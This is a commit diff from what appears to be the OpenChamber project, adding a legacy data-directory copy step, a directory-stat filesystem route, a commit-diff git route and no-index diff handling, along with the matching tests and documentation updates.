merge: resolve v1.23.0 upstream conflicts, preserve custom git provider config
Resolved conflicts in 8 files by taking upstream refactored code: - desktop.ts: re-export DesktopSettings from registry - openchamberConfig.ts: simplified project setup client - persistence.ts: registry-derived settings, add git provider hydration - search.ts: upstream search entries + git provider entries - useConfigStore.ts: loadDesktopSettings() path - settings-helpers.js: add gitProviderId/gitModelId/gitProviders sanitization - DOCUMENTATION.md: upstream walkthrough docs - vite.config.ts: upstream SW glob patterns Custom fork additions preserved: - gitProviderId, gitModelId, gitProviders fields in settings registry - Git provider domain store hydration in persistence.ts - Git provider search entries in search.ts - Git provider sanitization in settings-helpers.js
This commit is contained in:
@@ -0,0 +1,40 @@
|
||||
// One-time copy of the user-authored folders into a custom data directory.
|
||||
//
|
||||
// `OPENCHAMBER_DATA_DIR` is documented as "the OpenChamber data directory",
|
||||
// but for a long time only the flat files (settings, auth, push tokens)
|
||||
// followed it while `projects/`, `themes/`, and `speech-models/` stayed under
|
||||
// `~/.config/openchamber`. Now every folder hangs off the data directory, so an
|
||||
// instance that already ran with a custom directory finds those folders in
|
||||
// the old place. This copies each one over once: only when the new location
|
||||
// does not exist yet and the old one does. It copies rather than moves
|
||||
// because a second instance on the same machine (a custom directory next to
|
||||
// the default one) must not strip the default instance of its projects.
|
||||
|
||||
const USER_DIR_ENTRIES = Object.freeze(['projects', 'themes', 'speech-models']);
|
||||
|
||||
const exists = async (fsPromises, target) => fsPromises.access(target).then(() => true, () => false);
|
||||
|
||||
/**
|
||||
* Copy the user folders from `legacyRoot` into `dataDir`. Returns the entries
|
||||
* copied. A no-op when the two roots are the same directory. A folder whose
|
||||
* copy fails is reported through `warn` and its partial copy removed; the
|
||||
* server keeps starting, reading the (empty) new location.
|
||||
*/
|
||||
export const migrateLegacyUserDirs = async ({ fsPromises, path, dataDir, legacyRoot, warn = () => {}, entries = USER_DIR_ENTRIES }) => {
|
||||
if (path.resolve(dataDir) === path.resolve(legacyRoot)) return [];
|
||||
const moved = [];
|
||||
for (const entry of entries) {
|
||||
const from = path.join(legacyRoot, entry);
|
||||
const to = path.join(dataDir, entry);
|
||||
if (await exists(fsPromises, to) || !(await exists(fsPromises, from))) continue;
|
||||
try {
|
||||
await fsPromises.mkdir(dataDir, { recursive: true });
|
||||
await fsPromises.cp(from, to, { recursive: true, errorOnExist: true, force: false });
|
||||
moved.push(entry);
|
||||
} catch (error) {
|
||||
await fsPromises.rm(to, { recursive: true, force: true }).catch(() => {});
|
||||
warn(`Failed to copy ${from} to ${to}: ${error instanceof Error ? error.message : String(error)}`);
|
||||
}
|
||||
}
|
||||
return moved;
|
||||
};
|
||||
@@ -0,0 +1,59 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import os from 'os';
|
||||
import path from 'path';
|
||||
import fsPromises from 'fs/promises';
|
||||
|
||||
import { migrateLegacyUserDirs } from './data-dir-migration.js';
|
||||
|
||||
const setup = async () => {
|
||||
const root = await fsPromises.mkdtemp(path.join(os.tmpdir(), 'oc-data-dir-'));
|
||||
const legacyRoot = path.join(root, 'legacy');
|
||||
const dataDir = path.join(root, 'custom');
|
||||
await fsPromises.mkdir(path.join(legacyRoot, 'projects'), { recursive: true });
|
||||
await fsPromises.writeFile(path.join(legacyRoot, 'projects', 'p.json'), '{"a":1}');
|
||||
await fsPromises.mkdir(path.join(legacyRoot, 'themes'), { recursive: true });
|
||||
return { root, legacyRoot, dataDir, cleanup: () => fsPromises.rm(root, { recursive: true, force: true }) };
|
||||
};
|
||||
|
||||
describe('migrateLegacyUserDirs', () => {
|
||||
it('copies the user folders once into a custom data dir and leaves the originals', async () => {
|
||||
const { legacyRoot, dataDir, cleanup } = await setup();
|
||||
try {
|
||||
const warnings = [];
|
||||
const moved = await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot, warn: (message) => warnings.push(message) });
|
||||
expect(moved).toEqual(['projects', 'themes']);
|
||||
expect(warnings).toEqual([]);
|
||||
expect(await fsPromises.readFile(path.join(dataDir, 'projects', 'p.json'), 'utf8')).toBe('{"a":1}');
|
||||
// The default instance keeps its own copy: a second instance must not strip it.
|
||||
expect(await fsPromises.readFile(path.join(legacyRoot, 'projects', 'p.json'), 'utf8')).toBe('{"a":1}');
|
||||
// A second start copies nothing more.
|
||||
expect(await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot })).toEqual([]);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('never merges into a folder that already exists in the data dir', async () => {
|
||||
const { legacyRoot, dataDir, cleanup } = await setup();
|
||||
try {
|
||||
await fsPromises.mkdir(path.join(dataDir, 'projects'), { recursive: true });
|
||||
await fsPromises.writeFile(path.join(dataDir, 'projects', 'q.json'), '{}');
|
||||
const moved = await migrateLegacyUserDirs({ fsPromises, path, dataDir, legacyRoot });
|
||||
expect(moved).toEqual(['themes']);
|
||||
expect(await fsPromises.readdir(path.join(dataDir, 'projects'))).toEqual(['q.json']);
|
||||
expect(await fsPromises.readdir(path.join(legacyRoot, 'projects'))).toEqual(['p.json']);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
it('is a no-op when the data dir is the default root', async () => {
|
||||
const { legacyRoot, cleanup } = await setup();
|
||||
try {
|
||||
expect(await migrateLegacyUserDirs({ fsPromises, path, dataDir: legacyRoot, legacyRoot })).toEqual([]);
|
||||
expect(await fsPromises.readdir(path.join(legacyRoot, 'projects'))).toEqual(['p.json']);
|
||||
} finally {
|
||||
await cleanup();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -446,18 +446,18 @@ describe('message stream websocket runtime', () => {
|
||||
const socket = new FakeSocket();
|
||||
runtime.wsServer.emit('connection', socket, { url: '/api/global/event/ws' });
|
||||
|
||||
await new Promise((resolve) => setTimeout(resolve, 35));
|
||||
|
||||
const readyFrames = socket.sent.filter((frame) => frame.type === 'ready');
|
||||
const eventFrames = socket.sent.filter((frame) => frame.type === 'event' && frame.payload?.type === 'server.connected');
|
||||
|
||||
expect(readyFrames.length).toBeGreaterThanOrEqual(2);
|
||||
expect(eventFrames.length).toBeGreaterThanOrEqual(2);
|
||||
expect(fetchCalls.slice(0, 2)).toEqual([null, 'evt-1']);
|
||||
expect(triggerHealthCheckCalls).toBe(0);
|
||||
|
||||
socket.close();
|
||||
await runtime.close();
|
||||
try {
|
||||
// Wait for the reconnect event itself; a 35ms sleep raced the event
|
||||
// loop when the workspace build and test workers ran together.
|
||||
await expect.poll(() => socket.sent.filter((frame) => frame.type === 'ready').length).toBeGreaterThanOrEqual(2);
|
||||
const eventFrames = socket.sent.filter((frame) => frame.type === 'event' && frame.payload?.type === 'server.connected');
|
||||
expect(eventFrames.length).toBeGreaterThanOrEqual(2);
|
||||
expect(fetchCalls.slice(0, 2)).toEqual([null, 'evt-1']);
|
||||
expect(triggerHealthCheckCalls).toBe(0);
|
||||
} finally {
|
||||
socket.close();
|
||||
await runtime.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps synthetic event processing on forwarded upstream events', async () => {
|
||||
|
||||
@@ -14,6 +14,8 @@ Own filesystem API behavior for the web server runtime, including workspace-boun
|
||||
- `POST /api/fs/mkdir`
|
||||
- `GET /api/fs/read`
|
||||
- `GET /api/fs/raw`
|
||||
- `GET /api/fs/stat`
|
||||
- `GET /api/fs/directory-stat`
|
||||
- `GET /api/fs/serve/:path(*)`
|
||||
- `POST /api/fs/write`
|
||||
- `POST /api/fs/upload`
|
||||
@@ -43,6 +45,7 @@ Own filesystem API behavior for the web server runtime, including workspace-boun
|
||||
- Workspace checks accept, besides the active workspace and its worktrees, the **managed roots**: the OpenChamber config root and the managed chats root (`managedChatsRoot` dependency; `OPENCHAMBER_CHATS_DIR` upstream, default `<config root>/chats`). Chat worktrees may legitimately live outside every project workspace.
|
||||
- `GET /api/fs/home` answers `{ home, chatsRoot }`. `chatsRoot` is the server-resolved managed chats root; clients must use it instead of joining `home` + the well-known segment (a relocated root does not contain that segment).
|
||||
- Filesystem `EPERM`/`EACCES` failures use the stable `reason: "os-permission"` response marker. Policy denials such as workspace-boundary or missing-grant failures must not use that marker because a native folder picker cannot remediate them.
|
||||
- `GET /api/fs/directory-stat?path=...` uses one `stat` without listing contents or resolving project topology. It follows the same authenticated directory-discovery path policy as `/api/fs/list`, including targets outside the active workspace. A directory returns `{ isDirectory: true }`; `ENOENT` returns `not-found`, and a file or `ENOTDIR` returns `not-directory`. Permission and other failures remain distinct from a missing path. VS Code explicitly returns 501, so the shared client treats its probe as unknown.
|
||||
- Read-only routes authorize the requested path against the workspace before resolving symlinks. A symlink reached through the workspace may therefore target a file outside it, while a directly requested outside path still requires an exact-path grant. Write routes keep canonical-target boundary checks.
|
||||
- If adding new `/api/fs/*` endpoints, add them in `routes.js` and extend this document.
|
||||
- `GET /api/fs/list` may resolve symlinks with `realpath` to read directory contents, but the response `path` and each entry `path` must stay in the caller's requested path space (`path.join(requestedPath, name)`). Returning real paths breaks file-tree expansion for directories reached through workspace symlinks.
|
||||
|
||||
@@ -864,6 +864,37 @@ export const registerFsRoutes = (app, dependencies) => {
|
||||
}
|
||||
});
|
||||
|
||||
app.get('/api/fs/directory-stat', async (req, res) => {
|
||||
res.setHeader('Cache-Control', 'no-store');
|
||||
const paths = new URL(req.url, 'http://openchamber.local').searchParams.getAll('path');
|
||||
const directoryPath = paths.length === 1 ? paths[0].trim() : '';
|
||||
if (!directoryPath) {
|
||||
return res.status(400).json({ error: 'Path is required' });
|
||||
}
|
||||
|
||||
try {
|
||||
// Directory discovery uses the same path policy as /api/fs/list, including
|
||||
// paths outside the current workspace. stat follows symlinks without readdir.
|
||||
const resolvedPath = path.resolve(normalizeDirectoryPath(directoryPath));
|
||||
const stats = await fsPromises.stat(resolvedPath);
|
||||
if (!stats.isDirectory()) {
|
||||
return res.status(400).json({ error: 'Specified path is not a directory', reason: 'not-directory' });
|
||||
}
|
||||
return res.json({ isDirectory: true });
|
||||
} catch (error) {
|
||||
if (error.code === 'ENOENT' || error.code === 'ENOTDIR') {
|
||||
return res.status(error.code === 'ENOENT' ? 404 : 400).json({
|
||||
error: error.code === 'ENOENT' ? 'Directory not found' : 'Specified path is not a directory',
|
||||
reason: error.code === 'ENOENT' ? 'not-found' : 'not-directory',
|
||||
});
|
||||
}
|
||||
if (isOsPermissionError(error)) {
|
||||
return sendOsPermissionDenied(res, 'Access to directory denied');
|
||||
}
|
||||
return res.status(500).json({ error: 'Failed to stat directory' });
|
||||
}
|
||||
});
|
||||
|
||||
app.get('/api/fs/stat', async (req, res) => {
|
||||
const filePath = typeof req.query.path === 'string' ? req.query.path.trim() : '';
|
||||
const optional = req.query.optional === 'true';
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
import { EventEmitter } from 'events';
|
||||
import path from 'path';
|
||||
import { copyFile, mkdir, mkdtemp, rm } from 'node:fs/promises';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { pathToFileURL } from 'node:url';
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { mintOutsideFileGrant, registerFsRoutes } from './routes.js';
|
||||
@@ -1453,7 +1457,11 @@ describe('fs stat directory scope (issue 3019)', () => {
|
||||
path: path.posix,
|
||||
fsPromises: {
|
||||
realpath: async (targetPath) => targetPath,
|
||||
stat: async () => ({ isFile: () => true, size: 12 }),
|
||||
stat: async (targetPath) => (
|
||||
targetPath === '/repo-b'
|
||||
? { isDirectory: () => true, mtimeMs: 123 }
|
||||
: { isFile: () => true, size: 12, mtimeMs: 456 }
|
||||
),
|
||||
},
|
||||
spawn: vi.fn(),
|
||||
crypto: { randomUUID: () => 'job-0' },
|
||||
@@ -1496,6 +1504,107 @@ describe('fs stat directory scope (issue 3019)', () => {
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.body.isFile).toBe(true);
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
describe('fs stat directory error handling', () => {
|
||||
it('loads in Node without workspace node_modules, as packaged desktop does', async () => {
|
||||
const directory = await mkdtemp(path.join(tmpdir(), 'openchamber-fs-import-'));
|
||||
try {
|
||||
await mkdir(path.join(directory, 'fs'));
|
||||
await copyFile(new URL('./routes.js', import.meta.url), path.join(directory, 'fs/routes.mjs'));
|
||||
await copyFile(new URL('../path-realpath-cache.js', import.meta.url), path.join(directory, 'path-realpath-cache.js'));
|
||||
expect(() => execFileSync('node', [
|
||||
'--input-type=module',
|
||||
'--eval',
|
||||
'await import(process.argv[1])',
|
||||
pathToFileURL(path.join(directory, 'fs/routes.mjs')).href,
|
||||
], { cwd: directory, stdio: 'pipe' })).not.toThrow();
|
||||
} finally {
|
||||
await rm(directory, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('returns directory-missing reasons and permission errors for directory stat', async () => {
|
||||
const { app, getRoute } = createRouteRegistry();
|
||||
const enoent = Object.assign(new Error('missing'), { code: 'ENOENT' });
|
||||
const enotdir = Object.assign(new Error('not a directory'), { code: 'ENOTDIR' });
|
||||
const eacces = Object.assign(new Error('denied'), { code: 'EACCES' });
|
||||
const stat = vi.fn(async (targetPath) => {
|
||||
if (targetPath === '/repo-b') throw enoent;
|
||||
if (targetPath === '/repo-b/file.txt/child') throw enotdir;
|
||||
if (targetPath === '/repo-b/protected') throw eacces;
|
||||
if (targetPath === '/repo-b/file.txt') return { isDirectory: () => false };
|
||||
if (targetPath === '/repo-b/failure') throw new Error('unavailable');
|
||||
return { isDirectory: () => true, mtimeMs: 1 };
|
||||
});
|
||||
const readdir = vi.fn(async () => []);
|
||||
const callStat = async (handler, { headers = {}, query }) => {
|
||||
const res = createMockResponse();
|
||||
const req = {
|
||||
url: `/api/fs/directory-stat?${new URLSearchParams(query)}`,
|
||||
query,
|
||||
get: (name) => headers[name.toLowerCase()] ?? undefined,
|
||||
};
|
||||
await handler(req, res);
|
||||
return res;
|
||||
};
|
||||
registerFsRoutes(app, {
|
||||
os: { homedir: () => '/home/user' },
|
||||
path: path.posix,
|
||||
fsPromises: {
|
||||
realpath: async (targetPath) => targetPath,
|
||||
stat,
|
||||
readdir,
|
||||
},
|
||||
spawn: vi.fn(),
|
||||
crypto: { randomUUID: () => 'job-0' },
|
||||
normalizeDirectoryPath: (p) => p,
|
||||
resolveProjectDirectory: async () => ({ directory: '/repo' }),
|
||||
buildAugmentedPath: () => '/usr/bin',
|
||||
resolveGitBinaryForSpawn: () => 'git',
|
||||
openchamberUserConfigRoot: '/home/user/.config',
|
||||
});
|
||||
const handler = getRoute('GET', '/api/fs/directory-stat');
|
||||
|
||||
const available = await callStat(handler, { query: { path: '/other-project' } });
|
||||
expect(available.statusCode).toBe(200);
|
||||
expect(available.body).toEqual({ isDirectory: true });
|
||||
expect(available.getHeader('Cache-Control')).toBe('no-store');
|
||||
expect(stat).toHaveBeenCalledTimes(1);
|
||||
|
||||
const invalid = await callStat(handler, { query: { path: ' ' } });
|
||||
expect(invalid.statusCode).toBe(400);
|
||||
expect(stat).toHaveBeenCalledTimes(1);
|
||||
|
||||
for (const query of ['path=/repo&path=/other', 'path[]=/repo', '']) {
|
||||
const malformed = createMockResponse();
|
||||
await handler({ url: `/api/fs/directory-stat?${query}` }, malformed);
|
||||
expect(malformed.statusCode).toBe(400);
|
||||
}
|
||||
expect(stat).toHaveBeenCalledTimes(1);
|
||||
|
||||
const missing = await callStat(handler, { headers: { 'x-opencode-directory': '/repo-b' }, query: { path: '/repo-b', directory: 'true' } });
|
||||
expect(missing.statusCode).toBe(404);
|
||||
expect(missing.body).toEqual({ error: 'Directory not found', reason: 'not-found' });
|
||||
|
||||
const notDir = await callStat(handler, { headers: { 'x-opencode-directory': '/repo-b' }, query: { path: '/repo-b/file.txt/child', directory: 'true' } });
|
||||
expect(notDir.statusCode).toBe(400);
|
||||
expect(notDir.body).toEqual({ error: 'Specified path is not a directory', reason: 'not-directory' });
|
||||
|
||||
const denied = await callStat(handler, { headers: { 'x-opencode-directory': '/repo-b' }, query: { path: '/repo-b/protected', directory: 'true' } });
|
||||
expect(denied.statusCode).toBe(403);
|
||||
expect(denied.body).toEqual({ error: 'Access to directory denied', reason: 'os-permission' });
|
||||
|
||||
const file = await callStat(handler, { query: { path: '/repo-b/file.txt' } });
|
||||
expect(file.statusCode).toBe(400);
|
||||
expect(file.body.reason).toBe('not-directory');
|
||||
|
||||
const failure = await callStat(handler, { query: { path: '/repo-b/failure' } });
|
||||
expect(failure.statusCode).toBe(500);
|
||||
expect(failure.body).toEqual({ error: 'Failed to stat directory' });
|
||||
expect(readdir).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('fs managed chats root', () => {
|
||||
|
||||
@@ -25,9 +25,11 @@ The following functions are exported and used by the web server:
|
||||
|
||||
### Status and Diff Operations
|
||||
- `getStatus(directory)`: Get comprehensive Git status including current branch, tracking, ahead/behind, file changes, diff stats, merge/rebase state.
|
||||
- `getDiff(directory, { path, staged, contextLines })`: Get diff output for files or entire working tree. Untracked symbolic links are represented as link entries without following their targets.
|
||||
- `getRangeDiff(directory, { base, head, path, contextLines })`: Get diff between two refs. Uses three-dot `base...head` semantics, so work merged into `head` from `base` is excluded and only the branch's own changes are returned. Prefers `origin/<base>` when that remote-tracking ref exists, so a stale local base branch does not resurface already-merged commits. Exposed as `GET /api/git/range-diff` (`path` optional; omit it for the whole range).
|
||||
- `getRangeFiles(directory, { base, head })`: Get list of changed files between two refs.
|
||||
- `getDiff(directory, { path, staged, contextLines })`: Get diff output for files or entire working tree with full Git blob identities. Untracked symbolic links are represented as link entries without following their targets.
|
||||
- `getRangeDiff(directory, { base, head, path, contextLines, includeWorkingTree })`: Compare the merge base of the exact selected refs with `head`. With `includeWorkingTree: true`, compare with the checked-out branch's current files instead, including committed, staged, unstaged, and untracked work in one net diff. This mode rejects a head that is not the checked-out branch. Exposed as `GET /api/git/range-diff`; omit `path` for the whole comparison.
|
||||
- `getRangeFiles(directory, { base, head, includeWorkingTree })`: List changed paths using the same comparison as `getRangeDiff`. A successful empty list means the final files match the merge base, even if staging and working-tree changes cancel each other out.
|
||||
- Both range operations honor refs literally. A local `main` is never replaced with `origin/main`, and an unavailable ref fails rather than choosing a different remote. The UI picker sends qualified refs to distinguish local and remote branches with matching display names.
|
||||
- Working-tree comparisons use the real index read-only. When untracked paths exist, a temporary copy of the index receives intent-to-add entries so Git computes additions, deletions, recreations, and renames together. Current contents come from the working tree, symlinks remain links, ignored files stay excluded, and temporary files are removed on success or failure.
|
||||
- `getFileDiff(directory, { path, staged })`: Get original and modified file contents for a single file (handles images as data URLs and symbolic links as their link-target text).
|
||||
- `listUntrackedPaths(directory)`: List individual untracked file paths honoring ignore rules. Much cheaper than `getStatus` when that is all a caller needs. Deliberately not `--directory`: collapsed directory entries end in a slash and are rejected by the per-file diff helpers, so a caller would silently lose every file inside a new directory.
|
||||
- `getUntrackedDiffs(directory, filePaths, { concurrency, contextLines })`: Diffs for untracked files against an empty tree. Resolves the repository context once instead of per file (`getDiff` re-resolves every call, costing an extra `rev-parse` each time) and bounds how many diff processes run at once. Returns one entry per input path in order; unreadable paths yield `''` rather than failing the batch.
|
||||
@@ -35,9 +37,10 @@ The following functions are exported and used by the web server:
|
||||
- `revertFile(directory, filePath, options)`: Revert a file. Default scope `all` discards staged and working-tree changes; scope `working` discards only unstaged/working-tree changes.
|
||||
- `stageFile(directory, filePath)`: Add one file path to the index.
|
||||
- `unstageFile(directory, filePath)`: Remove one file path from the index while preserving working-tree content.
|
||||
- `applyHunk(directory, filePath, options)`: Apply a single-hunk patch via `git apply`. `options.action` is `stage` (`git apply --cached`), `unstage` (`git apply --cached --reverse`), or `discard` (`git apply --reverse` in the working tree). The patch is written to a temp file; a `--check` runs first so a stale hunk fails with a clear "refresh and try again" error instead of a partial mutation. The patch target path must match the requested file.
|
||||
- `applyHunk(directory, filePath, options)`: Apply a single-hunk patch via `git apply`. `options.action` is `stage` (`git apply --cached`), `unstage` (`git apply --cached --reverse`), or `discard` (`git apply --reverse` in the working tree). Inside the index mutation queue, the server verifies that the complete patch exactly matches one current three-context-line hunk for that file and scope, then runs `--check` before applying. Applicability alone cannot prove an unstaged change: old staged or committed hunks can reverse cleanly too. Stale, historical and multi-file patches fail with a refresh error. Temporary patch files are removed on success and failure; hunk content retains CRLF bytes.
|
||||
|
||||
### Branch Operations
|
||||
- `getBranchBase(directory, branch)`: Read a named creation source from reflog. After a rebase, the creation source is no longer a current parent record, so return `null` and let the user choose a base. Explicit per-runtime, directory, and branch choices in the shared UI outrank detection.
|
||||
- `getBranches(directory)`: Get list of local and remote branches (filtered to active remote branches).
|
||||
- `getUnpushedBranchCounts(directory, branchNames)`: Count commits ahead of each locally known upstream for up to five supplied local branches. This reads local refs only and omits branches without an upstream.
|
||||
- `createBranch(directory, branchName, options)`: Create and checkout a new branch.
|
||||
@@ -71,7 +74,8 @@ bootstrap, tracking is left unset rather than writing `branch.*.remote` /
|
||||
|
||||
### Log Operations
|
||||
- `getLog(directory, options)`: Get commit history with stats (supports maxCount, from, to, file filters).
|
||||
- `getCommitFiles(directory, commitHash)`: Get file changes for a specific commit.
|
||||
- `getCommitFiles(directory, commitHash)`: Get file changes for a specific commit relative to its first parent, or the empty tree for a root commit. NUL-delimited paths preserve whitespace; renamed files return their destination in `path` and source in `previousPath`.
|
||||
- `getCommitDiff(directory, { hash, path, previousPath, contextLines })`: Get the same commit's patch, with optional file filtering and context depth. `previousPath` keeps a rename's old and new paths in the per-file patch. Reads committed objects only, never the working tree. Exposed as `GET /api/git/commit-diff`; an unavailable hash fails rather than returning an empty diff.
|
||||
- `getCommitFileDiff(directory, hash, filePath, isBinary)`: Get before/after content for a specific file in a commit. Returns `{ original, modified, isBinary }`. Runs `git show <hash>^:<path>` and `git show <hash>:<path>` in parallel; returns empty strings on failure (added/deleted/root-commit edge cases).
|
||||
|
||||
### Merge and Rebase Operations
|
||||
@@ -130,8 +134,28 @@ The following functions are internal helpers used by exported functions:
|
||||
|
||||
### Runtime availability of range diffs
|
||||
- `GET /api/git/range-diff` is served by the OpenChamber web server, so it is available to web, desktop, and mobile clients. The shared `GitAPI.getGitRangeDiff` is therefore optional: web supplies the HTTP implementation, and VS Code does not implement it because the extension host serves Git through its own bridge rather than these routes. Features built on range diffs (currently the AI diff walkthrough) are not offered in VS Code.
|
||||
- Commit comparison uses the same server boundary through optional `GitAPI.getGitCommitDiff`. Desktop Changes, mobile Changes, and the existing walkthrough surface share branch/commit comparison semantics. Mobile Changes uses the same selectors and `useGitComparison` file-list owner, with a read-only list-to-detail flow. VS Code keeps its existing modes because its Git bridge does not provide these comparison operations. The HTTP operations are available to web, Electron, hosted mobile, and Capacitor clients.
|
||||
|
||||
### Staged and unstaged change handling
|
||||
- Desktop Changes floats a compact action capsule after each hunk's last changed row,
|
||||
including single-hunk files. Whole-file controls remain in the Git panel.
|
||||
`getPatchHunkAnchors` uses the canonical patch's final changed row and side, so a hunk
|
||||
ending in deletions is anchored after those deletions rather than above them.
|
||||
Zero-height Pierre annotation slots anchor the capsule over following context
|
||||
without a separate band. At EOF the capsule lifts inside the code column;
|
||||
a one-line code column has a minimum hit-target height. React controls mount only
|
||||
for currently rendered slots and only after their rendered diff and anchor
|
||||
identities match the current props. Comment annotations remain independent.
|
||||
- The canonical three-line-context action patch stays separate from the full-file
|
||||
display patch. Their bytes must be identical, or their file headers and full
|
||||
blob identities must match, including when reusing a cached action patch.
|
||||
Mismatch leaves actions unavailable until Retry obtains a matching pair.
|
||||
Successful hunk mutations invalidate
|
||||
every mounted view of that path through `sessionEvents.requestGitRefresh`.
|
||||
Actions remain unavailable until the refresh succeeds. Last turn, Branch and
|
||||
Commit snapshots never expose hunk mutations. Mobile uses its separate Changes
|
||||
surface and VS Code does not mount these controls.
|
||||
- Untracked patches from `getDiff` and `getUntrackedDiffs` use `git diff --no-index` with separate stdout, stderr, and process exit status. Exit codes 0 and 1 return stdout only, so line-ending warnings never become patch text or request failures. Other exits and process failures reject the single-file request; the batch keeps an empty entry for the failed path and preserves the other results.
|
||||
- `status.files` exposes both `index` and `working_dir` codes. Shared UI uses these as separate scopes: staged rows are derived from non-empty `index` statuses, while unstaged rows are derived from `working_dir` statuses and untracked files.
|
||||
- A file with both staged and unstaged changes can appear in both UI sections. Staged rows request diffs with `staged: true`; unstaged rows request normal working-tree diffs.
|
||||
- The shared Git panel exposes explicit staging actions. Unstaged rows use `stageFile`, staged rows use `unstageFile`, and commits operate on the current staged index.
|
||||
|
||||
@@ -7,13 +7,13 @@ export function registerGitRoutes(app) {
|
||||
return gitLibraries;
|
||||
};
|
||||
|
||||
const resolveDirectoryQuery = (value) => {
|
||||
const resolveDirectoryQuery = (value, preserveWhitespace = false) => {
|
||||
const raw = Array.isArray(value) ? value[0] : value;
|
||||
if (typeof raw !== 'string') {
|
||||
return null;
|
||||
}
|
||||
const trimmed = raw.trim();
|
||||
return trimmed || null;
|
||||
const normalized = preserveWhitespace ? raw : raw.trim();
|
||||
return normalized || null;
|
||||
};
|
||||
|
||||
const extractGitErrorText = (error) => {
|
||||
@@ -417,6 +417,7 @@ export function registerGitRoutes(app) {
|
||||
const diff = await getRangeDiff(directory, {
|
||||
base,
|
||||
head,
|
||||
includeWorkingTree: req.query.includeWorkingTree === 'true',
|
||||
path: pathParam,
|
||||
contextLines: Number.isFinite(context) ? context : 3,
|
||||
});
|
||||
@@ -463,7 +464,7 @@ export function registerGitRoutes(app) {
|
||||
return res.status(400).json({ error: 'base and head parameters are required' });
|
||||
}
|
||||
|
||||
const files = await getRangeFiles(directory, { base, head });
|
||||
const files = await getRangeFiles(directory, { base, head, includeWorkingTree: req.query.includeWorkingTree === 'true' });
|
||||
res.json({ files });
|
||||
} catch (error) {
|
||||
console.error('Failed to get git range files:', error);
|
||||
@@ -1300,6 +1301,25 @@ export function registerGitRoutes(app) {
|
||||
}
|
||||
});
|
||||
|
||||
app.get('/api/git/commit-diff', async (req, res) => {
|
||||
const { getCommitDiff } = await getGitLibraries();
|
||||
try {
|
||||
const directory = resolveDirectoryQuery(req.query.directory);
|
||||
const hash = resolveDirectoryQuery(req.query.hash);
|
||||
if (!directory || !hash) return res.status(400).json({ error: 'directory and hash are required' });
|
||||
const context = Number(req.query.context ?? 3);
|
||||
const diff = await getCommitDiff(directory, {
|
||||
hash,
|
||||
path: resolveDirectoryQuery(req.query.path, true) ?? undefined,
|
||||
previousPath: resolveDirectoryQuery(req.query.previousPath, true) ?? undefined,
|
||||
contextLines: Number.isFinite(context) ? context : 3,
|
||||
});
|
||||
res.json({ diff });
|
||||
} catch (error) {
|
||||
res.status(500).json({ error: error.message || 'Failed to get commit diff' });
|
||||
}
|
||||
});
|
||||
|
||||
app.get('/api/git/commit-file-diff', async (req, res) => {
|
||||
const { getCommitFileDiff } = await getGitLibraries();
|
||||
try {
|
||||
|
||||
@@ -352,16 +352,17 @@ const buildGitEnv = async () => {
|
||||
return env;
|
||||
};
|
||||
|
||||
const createGit = async (directory, { allowUnsafeSshCommand = false } = {}) => {
|
||||
const createGit = async (directory, { allowUnsafeSshCommand = false, allowUnsafeCredentialHelper = false } = {}) => {
|
||||
const env = await buildGitEnv();
|
||||
const spawnOptions = { windowsHide: true };
|
||||
const binary = getGitBinary();
|
||||
const hasCustomBinary = typeof binary === 'string' && binary.trim() && binary !== 'git' && binary !== 'git.exe';
|
||||
const unsafe = hasCustomBinary || allowUnsafeSshCommand
|
||||
const unsafe = hasCustomBinary || allowUnsafeSshCommand || allowUnsafeCredentialHelper
|
||||
? {
|
||||
...(hasCustomBinary && { allowUnsafeCustomBinary: true }),
|
||||
...(allowUnsafeSshCommand && { allowUnsafeSshCommand: true }),
|
||||
}
|
||||
...(hasCustomBinary && { allowUnsafeCustomBinary: true }),
|
||||
...(allowUnsafeSshCommand && { allowUnsafeSshCommand: true }),
|
||||
...(allowUnsafeCredentialHelper && { allowUnsafeCredentialHelper: true }),
|
||||
}
|
||||
: undefined;
|
||||
// Always pin simple-git to an explicit working directory. Omitting baseDir
|
||||
// makes simple-git use process.cwd(), which breaks when the OpenChamber
|
||||
@@ -941,7 +942,7 @@ const runGitCommand = async (cwd, args) => {
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
exitCode: typeof error?.code === 'number' ? error.code : 1,
|
||||
exitCode: Number.isInteger(error?.code) ? error.code : null,
|
||||
stdout: String(error?.stdout || ''),
|
||||
stderr: String(error?.stderr || ''),
|
||||
message: parseGitErrorText(error),
|
||||
@@ -2146,7 +2147,7 @@ export async function hasLocalIdentity(directory) {
|
||||
}
|
||||
|
||||
export async function setLocalIdentity(directory, profile) {
|
||||
const git = await createGit(directory, { allowUnsafeSshCommand: true });
|
||||
const git = await createGit(directory, { allowUnsafeSshCommand: true, allowUnsafeCredentialHelper: true });
|
||||
|
||||
try {
|
||||
|
||||
@@ -2464,11 +2465,26 @@ export async function getStatus(directory, options = {}) {
|
||||
}
|
||||
}
|
||||
|
||||
const getNoIndexDiff = async (repoRoot, repoPath, contextLines) => {
|
||||
const args = ['diff', '--no-color', '--full-index'];
|
||||
if (Number.isFinite(contextLines)) {
|
||||
args.push(`-U${Math.max(0, contextLines)}`);
|
||||
}
|
||||
args.push('--no-index', '--', '/dev/null', repoPath);
|
||||
const result = await runGitCommand(repoRoot, args);
|
||||
// Exit 1 means differences, even when Git also writes warnings to stderr.
|
||||
// Spawn and buffer errors have no numeric exit code and must still fail.
|
||||
if (result.exitCode === 0 || result.exitCode === 1) {
|
||||
return result.stdout;
|
||||
}
|
||||
throw new Error(result.stderr || result.message || 'Failed to get untracked Git diff');
|
||||
};
|
||||
|
||||
